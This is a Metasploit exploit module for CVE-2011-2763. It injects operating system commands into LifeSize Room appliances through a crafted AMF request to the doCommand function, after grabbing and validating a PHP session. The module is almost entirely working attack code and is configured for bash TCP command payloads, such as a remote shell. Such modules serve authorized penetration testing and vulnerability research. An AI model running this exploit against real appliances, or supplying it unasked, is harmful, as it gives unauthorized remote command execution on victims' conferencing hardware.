LifeSize Room - Command Injection (Metasploit)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'LifeSize Room Command Injection',
			'Description'    => %q{
				This module exploits a vulnerable resource in LifeSize
				Room  versions 3.5.3 and 4.7.18 to inject OS commmands.  LifeSize
				Room is an appliance and thus the environment is limited
				resulting in a small set of payload options.
			},
			'Author'	=> 
				[
					'Spencer McIntyre',
					# Special Thanks To Chris Murrey
					'SecureState R&D Team'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 6 $',
			'References'     =>
				[
					[ 'CVE', '2011-2763' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 65535,	# limited by the two byte size in the AMF encoding
					'Compat'      =>
						{
							'PayloadType' => 'cmd cmd_bash',
							'RequiredCmd' => 'generic bash-tcp',
						}
				},
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [ [ 'Automatic', { } ] ],
			'DisclosureDate' => 'July 13 2011',
			'DefaultTarget'  => 0))
			
		register_advanced_options(
			[
				OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.6.17-1.fc14 Firefox/3.6.17'])
			], self.class)

	end

	def exploit
		print_status("Requesting PHP Session...")
		res = send_request_cgi({
			'encode'	=>	false,
			'uri'		=> 	"/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",
			'method'	=>	'GET',
		}, 10)
		if not res.headers['set-cookie']
			print_error('Could Not Obtain A Session ID')
			return
		end
		
		sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0]
		headers = {
			'Cookie' 		=> sessionid,
			'Content-Type'	=> 'application/x-amf',
		}
		
		print_status("Validating PHP Session...")
		res = send_request_cgi({
				'encode'	=> false,
				'uri'		=> '/gateway.php',
				'data'		=> "\x00\x00\x00\x00\x00\x02\x00\x1bLSRoom_Remoting.amfphpLogin\x00\x02/1\x00\x00\x00\x05\x0a\x00\x00\x00\x00\x00\x17LSRoom_Remoting.getHost\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00",
				'method'	=> 'POST',
				'headers'	=> headers,
		})
		if not res
			print_error('Could Not Validate The Session ID')
			return
		end
		
		print_status("Sending Malicious POST Request...")
		# This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand
		amf_data = "\x00\x00\x00\x00\x00\x01\x00\x19LSRoom_Remoting.doCommand\x00\x02\x2f\x37\xff\xff\xff\xff\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}\x02\x00\x0dupgradeStatus"
		res = send_request_cgi({
				'encode'	=> false,
				'uri'		=> '/gateway.php?' << sessionid,
				'data'		=> amf_data,
				'method'	=> 'POST',
				'headers'	=>	headers
		}, 10)
	end
	
end